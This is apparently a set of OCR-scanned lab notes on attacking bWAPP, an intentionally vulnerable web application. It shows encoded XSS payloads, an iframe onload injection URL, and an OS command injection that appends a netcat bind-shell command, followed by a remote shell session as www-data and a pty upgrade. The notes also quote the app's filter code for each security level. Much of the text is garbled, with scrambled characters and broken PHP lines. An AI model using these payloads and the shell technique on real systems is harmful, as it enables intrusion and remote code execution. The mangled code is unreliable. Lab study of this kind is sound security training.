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HTML injection(XSS)

set security level as low/R f#j5, 1FE% 1t n] A&t

http://192.168.170.130/bWAPP/htmli_get.php?
firstname=%25%33%63script%25%33%65alert(/XSS/)%25%33%63/script%25%33%65&lastname=%25%33%
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set security level as mediumitf, KIS HE 5L IE T,
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function xss_check_1($data) {

// Converts only " to HTLM entities

Sinput = str_replace("

Sinput = str_replace(">", ">", $input);

// Failure is an option

/I Bypasses double encoding attacks

Il

I %3Cscript%3Ealert%280%29%3C%2F script%3E

Il %253Cscript%253Ealert%25280%2529%253C%252F script%253E
Sinput = urldecode($input);

return $input;

}
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HTML Injection- Reflected(URL)
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case "0":

/' $url = "http://" . $_SERVER["HTTP_HOST"] . urldecode($_SERVER['REQUEST_URI');

$url = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER['REQUEST_URI"|;

break;
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case "1":

Surl =™

break;
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http://192.168.170.130/bWAPP/htmli_current_url.php#
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Don’t forget to set the security level to low or medium. With security level high you will notice that SQL injection
is no longer applicable. With security level high we are validating every user input. This is done with the
MySQL real escape string function and with prepared statements.
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while($row = $recordset->fetch_object())

{

/I so if the security level is medium or high, there will be xss_check_3() to check xss

if($_COOKIE["security_level"] =="1" or $_COOKIE["security level"] == "2")

{

?>

<?php echo $row->id; ?><?php echo $row->owner; ?><?php echo $row->date; ?><?php echo xss_check_3($row->entry); 2>
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iframe injection
low

H 2/ src@ 1 BT Jin A javascript:alert(1)RI AT $44TjsiE A .

L OV LLYIRP

K iframets 2 (1 srcl@ PE 2 i), T2 iEpayload



/IbWAPP/iframei.php?ParamUrl=="%20onload%3dalert(/xss/)>//&ParamWidth=250&ParamHeight=250
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"%?20onload%3dalert(/xss/)>//
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if($_COOKIE["security_level"] == "1" || $_COOKIE["security level"] == "2")
{

?>

" width="<?php echo xss($_GET["ParamWidth"]))?>">
}

LDAP injection(search)
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OS Command Injection
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&& nc -vip 4444 -e /bin/bash
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bee@bee-box:/var/www/bWAPP$ netstat -plant|grep 4444
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)

tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN -
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nc -vv 192.168.170.130 4444
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bee@bee-box:/var/iwww/bWAPP$ nc -vv 192.168.170.130 4444
bee-box.local [192.168.170.130] 4444 (?) open

id

uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a

Linux bee-box 2.6.24-16-generic #1 SMP Thu Apr 10 13:23:42 UTC 2008 i686 GNU/Linux
python -c "import pty; pty.spawn("/bin/bash")"

python -c¢ "import pty; pty.spawn('/bin/bash")"
www-data@bee-box:/varwww/bWAPP$
www-data@bee-box:/varwww/bWAPP$
www-data@bee-box:/varwww/bWAPP$
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www-data@bee-box:/varwww/bWAPP$ exit

exit

exit

exit
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bee@bee-box:/var/www/bWAPP$
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case "0" : //low

$data = no_check($data);

break;

case "1" : //medium

$data = commandi_check_1($data);

break;

case "2" : //high

$data = commandi_check 2($data);



break;

function commandi_check_1($data) {
$input = str_replace("&", ", $data);

$input = str_replace(";", ", $input);

return $input;

}
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function commandi_check 2($data) {

return escapeshellcmd($data);

}
7 & escapeshellemd() 6 %1
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